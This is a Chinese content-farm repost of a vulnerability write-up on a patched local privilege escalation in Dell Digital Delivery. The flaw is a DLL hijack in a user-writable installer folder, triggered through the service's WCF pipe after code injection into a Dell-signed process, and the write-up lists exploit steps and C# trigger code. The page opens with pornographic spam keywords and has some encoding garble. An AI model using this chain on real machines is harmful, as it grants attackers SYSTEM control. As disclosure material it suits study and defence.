真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

怎么實現(xiàn)DellDigitalDelivery本地提權(quán)分析

本篇文章給大家分享的是有關怎么實現(xiàn)Dell Digital Delivery本地提權(quán)分析,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

讓客戶滿意是我們工作的目標,不斷超越客戶的期望值來自于我們對這個行業(yè)的熱愛。我們立志把好的技術(shù)通過有效、簡單的方式提供給客戶,將通過不懈努力成為客戶在信息化領域值得信任、有價值的長期合作伙伴,公司提供的服務項目有:域名申請、網(wǎng)頁空間、營銷軟件、網(wǎng)站建設、鐵門關網(wǎng)站維護、網(wǎng)站推廣。

下面就講講戴爾數(shù)字傳送(以下簡稱為DDD,Dell Digital Delivery)里的這個漏洞是怎么被利用的。至今還沒有人利用這個漏洞造成危害。戴爾已經(jīng)針對這個漏洞發(fā)布了安全報告。

SupportAssist和DDD很復雜,所以漏洞也會很多。如果你對挖掘大型的C#/C++應用里的本地提權(quán)漏洞感興趣,可以試試這兩個程序。

Dell’s Digital Delivery是用來安裝軟件的。它可以讓用戶購買、管理軟件,并且DDD預裝在大部分的戴爾電腦上。

Bug

DDD以SYSTEM權(quán)限運行,服務名是DeliveryService, 程序名是DeliveryService.exe。DeliveryTray.exe是用戶層面的組件,讓用戶可以對軟件進行管理、安裝。

DeliveryTray和DeliveryService之間的通信是通過一個Windows Communication Foundation (WCF)命名管道進行的。WCF 是兩個進程交換數(shù)據(jù)的標準方法。像web服務器的REST API一樣,WCF允許服務注冊為處理端并說明主要功能。

Dell.ClientFulfillmentService.Controller.Initialize中對WCF命名管道的初始化如下所示:


this._host = WcfServiceUtil.StandupServiceHost(typeof(UiWcfSession),

                               typeof(IClientFulfillmentPipeService),

                               "DDDService");

初始化過程調(diào)用了 Dell.NamedPipe.StandupServiceHost:


ServiceHost host = null;

string apiUrl = "net.pipe://localhost/DDDService/IClientFulfillmentPipeService";

Uri realUri = new Uri("net.pipe://localhost/" + Guid.NewGuid().ToString());

Tryblock.Run(delegate

{

 host = new ServiceHost(classType, new Uri[]

 {

   realUri

 });

 host.AddServiceEndpoint(interfaceType, WcfServiceUtil.CreateDefaultBinding(), string.Empty);

 host.Open();

}, null, null);

AuthenticationManager.Singleton.RegisterEndpoint(apiUrl, realUri.AbsoluteUri);

由apiUrl注冊的服務開始偵聽,AuthenticationManager的singleton負責處理請求。一有請求,AuthenticationManager就將其傳給AuthPipeWorker函數(shù)執(zhí)行以下身份驗證:


string execuableByProcessId = AuthenticationManager.GetExecuableByProcessId(processId);

bool flag2 = !FileUtils.IsSignedByDell(execuableByProcessId);

if (!flag2)

{

   ...

僅當另一端是由戴爾簽名的二進制文件時,請求才會建立連接。

這是在3.1 (我最初測試時候的版本) 和3.5 (現(xiàn)在的最新版, 3.5.1001.0)版本之間加進來的新防護措施,戴爾可能意識到了這里有漏洞點。但這防護還遠遠不夠。我可以通過生成一個由戴爾簽名的二進制文件(例如DeliveryTray.exe)并在其中注入代碼來繞過這個防護措施。注入代碼后,可以訪問特權(quán)服務的WCF API。

端點服務由Dell.NamedPipe實現(xiàn),有十幾個函數(shù)。如下所示:


ArchiveAndResetSettings

EnableEntitlements

EnableEntitlementsAsync

GetAppSetting

PingTrayApp

PollEntitlementService

RebootMachine

ReInstallEntitlement

ResumeAllOperations

SetAppSetting

SetAppState

SetEntitlementList

SetUserDownloadChoice

SetWallpaper

ShowBalloonTip

ShutDownApp

UpdateEntitlementUiState

DDD將應用程序安裝包稱為“entitlements”(可以在以上所列函數(shù)中找到對應項),安裝/重裝自然就是指那些可以被安裝以及已經(jīng)安裝好的軟件包。

我第一個研究的函數(shù)是 ReInstallEntitlement,顧名思義,它會啟動一個已安裝程序包的重裝進程。代碼實現(xiàn)如下所示:


private static void ReInstallEntitlementThreadStart(object reInstallArgs)

{

   PipeServiceClient.ReInstallArgs ra = (PipeServiceClient.ReInstallArgs)reInstallArgs;

   PipeServiceClient.TryWcfCall(delegate

   {

       PipeServiceClient._commChannel.ReInstall(ra.EntitlementId, ra.RunAsUser);

   }, string.Concat(new object[]

   {

       "ReInstall ",

       ra.EntitlementId,

       " ",

       ra.RunAsUser.ToString()

   }));

}

這個函數(shù)通過一個WCF調(diào)用將根據(jù)請求構(gòu)建好的參數(shù)送到WCF端點。 ReInstallEntitlement有兩個參數(shù): 一個軟件包ID和一個RunAsUser標志(如上所示),都由調(diào)用者控制。

在服務端 Dell.ClientFulfillmentService.Controller 管理這些函數(shù)的具體實現(xiàn), OnReInstall 處理重裝進程,它先執(zhí)行一些完整性檢查、驗證包簽名,然后讓 InstallationManager 將重裝請求壓入任務隊列。 InstallationManager 有一個任務隊列以及檢查新任務的后臺線程( WorkingThread) ,當收到新的安裝請求時就會調(diào)用 InstallSoftware。

軟件包將緩存到磁盤并等待重新安裝。安裝步驟就不多說了。

將放在 C:\ProgramData\Dell\DigitalDelivery\Downloads\Software\ 的安裝包先解壓然后安裝。比如我們安裝 DellDataProtection-SecurityToolsv1.9.1,你就會在任務管理器里看到一個安裝進程:


"C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _

Security Tools v1.9.1\STSetup.exe" -y -gm2 /S /z"\"CIRRUS_INSTALL,

SUPPRESSREBOOT=1\""

此進程的運行用戶由可控制的RunAsUser標志確定,如果設置為False,則使用 SYSTEM權(quán)限從 %ProgramData% 目錄中運行。

STSetup 進程的啟動階段,任務管理器中有如下進程:


C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\VERSION.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\UxTheme.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\PROPSYS.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\apphelp.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\Secur32.dll

C:\ProgramData\Dell\Digital Delivery\Downloads\Software\Dell Data Protection _ Security Tools v1.9.1\api-ms-win-downlevel-advapi32-l2-1-0.dll

這里有意思的是,系統(tǒng)中的用戶對父目錄 %ProgramData%\Dell\DigitalDelivery\Downloads\Software都沒有寫入權(quán)限,但對安裝包文件夾 DellDataProtection-SecurityTools 有寫入權(quán)限。

這讓非特權(quán)用戶可以將任意文件放入這個目錄,給了我們使用DLL注入的機會。

漏洞利用

漏洞利用有以下步驟:

將DLL放在適當?shù)?nbsp;%ProgramData% 軟件包目錄下

啟動運行由Dell簽名的可執(zhí)行文件的新進程

將C#代碼注入這個進程(運行在無特權(quán)的用戶空間中)

從被注入的進程中連接到WCF命名管道

觸發(fā)ReInstallEntitlement

步驟4、5可以用下面的C#代碼完成:

PipeServiceClient client = new PipeServiceClient();

client.Initialize();

while (PipeServiceClient.AppState == AppState.Initializing)

 System.Threading.Thread.Sleep(1000);

EntitlementUiWrapper entitle = PipeServiceClient.EntitlementList[0];

PipeServiceClient.ReInstallEntitlement(entitle.ID, false);

System.Threading.Thread.Sleep(30000);

PipeServiceClient.CloseConnection();

上面用到的類是從 NamedPipe.dll導入的。我這里僅僅選擇了第一個可選的軟件包然后重裝,你可能需要遍歷軟件包來確定哪個軟件包的重裝進程會用到你注入的代碼。

我在Github上放出了PoC, 戴爾也已經(jīng)放出了相應的安全報告。

以上就是怎么實現(xiàn)Dell Digital Delivery本地提權(quán)分析,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學到更多知識。更多詳情敬請關注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


標題名稱:怎么實現(xiàn)DellDigitalDelivery本地提權(quán)分析
標題來源:http://weahome.cn/article/ipgeje.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部